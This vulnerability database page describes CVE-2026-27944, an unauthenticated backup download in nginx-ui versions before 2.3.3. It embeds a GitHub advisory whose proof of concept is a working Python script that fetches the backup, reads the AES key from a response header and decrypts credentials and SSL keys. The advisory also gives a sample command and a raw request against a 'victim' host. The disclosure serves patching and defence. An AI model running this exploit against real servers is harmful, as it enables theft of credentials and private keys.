CVE-2026-27944: Github.com/0xJacky/Nginx UI Nginx-UI Vulnerable To Unauthenticated Backup Vulnerability
CRITICALCVE-2026-27944 is a CRITICAL (CVSS 9.8) nginx-ui vulnerable to unauthenticated backup vulnerability (CWE-311: Missing Encryption of Sensitive Data) affecting Github.com/0xJacky/Nginx UI libraries in the Go ecosystem. The issue involves nginx-ui vulnerable to unauthenticated backup download with encryption key disclosure. Remediation is available by upgrading affected packages to version 2.3.3.
CVE-2026-27944 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-27944
To remediate this vulnerability, upgrade all affected Github.com/0xJacky/Nginx UI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/0xJacky/Nginx-UI to 2.3.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/0xJacky/Nginx-UI
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-27944, inspect your project dependencies for Github.com/0xJacky/Nginx UI:
inspect dependencies for github.com/0xJacky/Nginx-UI
Analyze the terminal output to locate any version of Github.com/0xJacky/Nginx UI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.3), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-311: Missing Encryption of Sensitive Data, where the product does not encrypt sensitive or critical information before storage or transmission. In Github.com/0xJacky/Nginx UI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-27944 Affected Github.com/0xJacky/Nginx UI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/0xJacky/Nginx-UI
|
Go |
< 2.3.3
|
2.3.3
|
References
Frequently Asked Questions
What is CVE-2026-27944?
Which Github.com/0xJacky/Nginx UI versions are affected?
What version fixes CVE-2026-27944?
Is github.com/0xJacky/Nginx-UI affected?
What is the CVSS score of CVE-2026-27944?
What CWE is associated with CVE-2026-27944?
How can I check Go dependencies for CVE-2026-27944?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-g9w5-qffc-6762",
"modified" : "2026-03-05T22:37:19Z",
"published" : "2026-03-05T18:26:41Z",
"aliases" : [ "CVE-2026-27944" ],
"summary" : "Nginx-UI Vulnerable to Unauthenticated Backup Download with Encryption Key Disclosure",
"details" : "## Summary\n\nThe `/api/backup` endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the `X-Backup-Security` response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| CWE | CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data |\n| Affected File | `api/backup/router.go` |\n| Affected Function | `CreateBackup` (lines 8-11 in router, implementation in `api/backup/backup.go:13-38`) |\n| Secondary File | `internal/backup/backup.go` |\n| CVSS 3.1 | 9.8 (Critical) |\n| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |\n\n## Root Cause\n\nThe vulnerability exists due to two critical security flaws:\n\n### 1. Missing Authentication on /api/backup Endpoint\n\nIn `api/backup/router.go:9`, the backup endpoint is registered without any authentication middleware:\n\n```go\nfunc InitRouter(r *gin.RouterGroup) {\n\tr.GET(\"/backup\", CreateBackup) // No authentication required\n\tr.POST(\"/restore\", middleware.EncryptedForm(), RestoreBackup) // Has middleware\n}\n```\n\nFor comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open.\n\n### 2. Encryption Keys Disclosed in HTTP Response Headers\n\nIn `api/backup/backup.go:22-33`, the AES-256 encryption key and IV are sent in plaintext via the `X-Backup-Security` header:\n\n```go\nfunc CreateBackup(c *gin.Context) {\n\tresult, err := backup.Backup()\n\tif err != nil {\n\t\tcosy.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\t// Concatenate Key and IV\n\tsecurityToken := result.AESKey + \":\" + result.AESIv // Keys sent in header\n\n\t// ...\n\tc.Header(\"X-Backup-Security\", securityToken) // Keys exposed to anyone\n\n\t// Send file content\n\thttp.ServeContent(c.Writer, c.Request, fileName, modTime, reader)\n}\n```\n\nThe encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as `key:iv`.\n\n### 3. Backup Contents\n\nThe backup archive (created in `internal/backup/backup.go`) contains:\n\n```go\n// Files included in backup:\n- nginx-ui.zip (encrypted)\n └── database.db // User credentials, session tokens\n └── app.ini // Configuration with secrets\n └── server.key/cert // SSL certificates\n\n- nginx.zip (encrypted)\n └── nginx.conf // Nginx configuration\n └── sites-enabled/* // Virtual host configs\n └── ssl/* // SSL private keys\n\n- hash_info.txt (encrypted)\n └── SHA-256 hashes for integrity verification\n```\n\nAll files are encrypted with AES-256-CBC, but the keys are disclosed in the response.\n\n## Proof of Concept\n\n### Python script\n\n```python\n#!/usr/bin/env python3\n\n\"\"\"\nPOC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security\n\nUsage:\n python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt\n\"\"\"\n\nimport argparse\nimport base64\nimport os\nimport sys\nimport urllib.parse\nimport urllib.request\nimport zipfile\nfrom io import BytesIO\n\ntry:\n from Crypto.Cipher import AES\n from Crypto.Util.Padding import unpad\nexcept ImportError:\n print(\"Error: pycryptodome required for decryption\")\n print(\"Install with: pip install pycryptodome\")\n sys.exit(1)\n\n\ndef _parse_keys(hdr_val: str):\n \"\"\"\n Parse X-Backup-Security header format: \"base64_key:base64_iv\"\n Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==\n \"\"\"\n v = (hdr_val or \"\").strip()\n\n # Format is: key:iv (both base64 encoded)\n if \":\" in v:\n parts = v.split(\":\", 1)\n if len(parts) == 2:\n return parts[0].strip(), parts[1].strip()\n\n return None, None\n\n\ndef decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes:\n \"\"\"Decrypt using AES-256-CBC with PKCS#7 padding\"\"\"\n key = base64.b64decode(key_b64)\n iv = base64.b64decode(iv_b64)\n\n if len(key) != 32:\n raise ValueError(f\"Invalid key length: {len(key)} (expected 32 bytes for AES-256)\")\n if len(iv) != 16:\n raise ValueError(f\"Invalid IV length: {len(iv)} (expected 16 bytes)\")\n\n cipher = AES.new(key, AES.MODE_CBC, iv)\n decrypted = cipher.decrypt(encrypted_data)\n return unpad(decrypted, AES.block_size)\n\n\ndef extract_backup(encrypted_zip_path: str, key_b64: str, iv_b64: str, output_dir: str):\n \"\"\"Extract and decrypt the backup archive\"\"\"\n print(f\"\\n[*] Extracting encrypted backup to {output_dir}\")\n\n os.makedirs(output_dir, exist_ok=True)\n\n # Extract the main ZIP (contains encrypted files)\n with zipfile.ZipFile(encrypted_zip_path, 'r') as main_zip:\n print(f\"[*] Main archive contains: {main_zip.namelist()}\")\n main_zip.extractall(output_dir)\n\n # Decrypt each file\n encrypted_files = [\"hash_info.txt\", \"nginx-ui.zip\", \"nginx.zip\"]\n\n for filename in encrypted_files:\n filepath = os.path.join(output_dir, filename)\n if not os.path.exists(filepath):\n print(f\"[!] Warning: {filename} not found\")\n continue\n\n print(f\"[*] Decrypting {filename}...\")\n\n with open(filepath, \"rb\") as f:\n encrypted = f.read()\n\n try:\n decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)\n\n # Write decrypted file\n decrypted_path = filepath.replace(\".zip\", \"_decrypted.zip\") if filename.endswith(\".zip\") else filepath + \".decrypted\"\n with open(decrypted_path, \"wb\") as f:\n f.write(decrypted)\n\n print(f\" → Saved to {decrypted_path} ({len(decrypted)} bytes)\")\n\n # If it's a ZIP, extract it\n if filename.endswith(\".zip\"):\n extract_dir = os.path.join(output_dir, filename.replace(\".zip\", \"\"))\n os.makedirs(extract_dir, exist_ok=True)\n with zipfile.ZipFile(BytesIO(decrypted), 'r') as inner_zip:\n inner_zip.extractall(extract_dir)\n print(f\" → Extracted {len(inner_zip.namelist())} files to {extract_dir}\")\n\n except Exception as e:\n print(f\" ✗ Failed to decrypt {filename}: {e}\")\n\n # Show hash info\n hash_info_path = os.path.join(output_dir, \"hash_info.txt.decrypted\")\n if os.path.exists(hash_info_path):\n print(f\"\\n[*] Hash info:\")\n with open(hash_info_path, \"r\") as f:\n print(f.read())\n\ndef main():\n ap = argparse.ArgumentParser(\n description=\"Nginx UI - Unauthenticated backup download with key disclosure\"\n )\n ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:port\")\n ap.add_argument(\"--out\", default=\"backup.bin\", help=\"Where to save the encrypted backup\")\n ap.add_argument(\"--decrypt\", action=\"store_true\", help=\"Decrypt the backup after download\")\n ap.add_argument(\"--extract-dir\", default=\"backup_extracted\", help=\"Directory to extract decrypted files\")\n\n args = ap.parse_args()\n\n url = urllib.parse.urljoin(args.target.rstrip(\"/\") + \"/\", \"api/backup\")\n\n # Unauthenticated request to the backup endpoint\n req = urllib.request.Request(url, method=\"GET\")\n\n try:\n with urllib.request.urlopen(req, timeout=20) as resp:\n hdr = resp.headers.get(\"X-Backup-Security\", \"\")\n key, iv = _parse_keys(hdr)\n data = resp.read()\n except urllib.error.HTTPError as e:\n print(f\"[!] HTTP Error {e.code}: {e.reason}\")\n sys.exit(1)\n except Exception as e:\n print(f\"[!] Error: {e}\")\n sys.exit(1)\n\n with open(args.out, \"wb\") as f:\n f.write(data)\n\n # Key/IV disclosure in response header enables decryption of the downloaded backup\n print(f\"\\nX-Backup-Security: {hdr}\")\n print(f\"Parsed AES-256 key: {key}\")\n print(f\"Parsed AES IV : {iv}\")\n\n if key and iv:\n # Verify key/IV lengths\n try:\n key_bytes = base64.b64decode(key)\n iv_bytes = base64.b64decode(iv)\n print(f\"\\n[*] Key length: {len(key_bytes)} bytes (AES-256 ✓)\")\n print(f\"[*] IV length : {len(iv_bytes)} bytes (AES block size ✓)\")\n except Exception as e:\n print(f\"[!] Error decoding keys: {e}\")\n sys.exit(1)\n\n if args.decrypt:\n try:\n extract_backup(args.out, key, iv, args.extract_dir)\n\n except Exception as e:\n print(f\"\\n[!] Decryption failed: {e}\")\n import traceback\n traceback.print_exc()\n sys.exit(1)\n else:\n print(\"\\n[!] Failed to parse encryption keys from X-Backup-Security header\")\n print(f\" Header value: {hdr}\")\n\nif __name__ == \"__main__\":\n main()\n```\n\n```bash\n# Download and decrypt backup (no authentication required)\n# pip install pycryptodome\npython poc.py --target http://victim:9000 --decrypt\n```\n\n```\nX-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw==\nParsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=\nParsed AES IV : +rLZrXK3kbWFRK3qMpB3jw==\n\n[*] Key length: 32 bytes (AES-256 ✓)\n[*] IV length : 16 bytes (AES block size ✓)\n\n[*] Extracting encrypted backup to backup_extracted\n[*] Main archive contains: ['hash_info.txt', 'nginx-ui.zip', 'nginx.zip']\n[*] Decrypting hash_info.txt...\n → Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)\n[*] Decrypting nginx-ui.zip...\n → Saved to backup_extracted/nginx-ui_decrypted.zip (12510 bytes)\n → Extracted 2 files to backup_extracted/nginx-ui\n[*] Decrypting nginx.zip...\n → Saved to backup_extracted/nginx_decrypted.zip (5682 bytes)\n → Extracted 17 files to backup_extracted/nginx\n\n[*] Hash info:\nnginx-ui_hash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5\nnginx_hash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905\ntimestamp: 20260129-122110\nversion: 2.3.2\n```\n\n### HTTP Request (Raw)\n\n```http\nGET /api/backup HTTP/1.1\nHost: victim:9000\n\n```\n\n**No authentication required** - this request will succeed and return:\n- Encrypted backup as ZIP file\n- Encryption keys in `X-Backup-Security` header\n\n### Example Response\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/zip\nContent-Disposition: attachment; filename=backup-20260129-120000.zip\nX-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==\n\n[Binary ZIP data]\n```\n\nThe `X-Backup-Security` header contains:\n- **Key**: `e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=` (Base64-encoded 32-byte AES-256 key)\n- **IV**: `7XdVSRcgYfWf7C/J0IS8Cg==` (Base64-encoded 16-byte IV)\n\n<img width=\"1430\" height=\"835\" alt=\"screenshot\" src=\"https://github.com/user-attachments/assets/a2e23c48-2272-4276-81de-fc700ff05b17\" />\n\n## Resources\n\n- [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- [CWE-311: Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)\n- [OWASP: Broken Authentication](https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication)\n- [OWASP: Sensitive Data Exposure](https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure)\n- [NIST: Key Management Guidelines](https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/0xJacky/Nginx-UI"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.3.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27944"
}, {
"type" : "WEB",
"url" : "https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/0xJacky/nginx-ui"
}, {
"type" : "WEB",
"url" : "https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication"
}, {
"type" : "WEB",
"url" : "https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-306", "CWE-311" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-05T18:26:41Z",
"nvd_published_at" : "2026-03-05T19:16:05Z"
}
}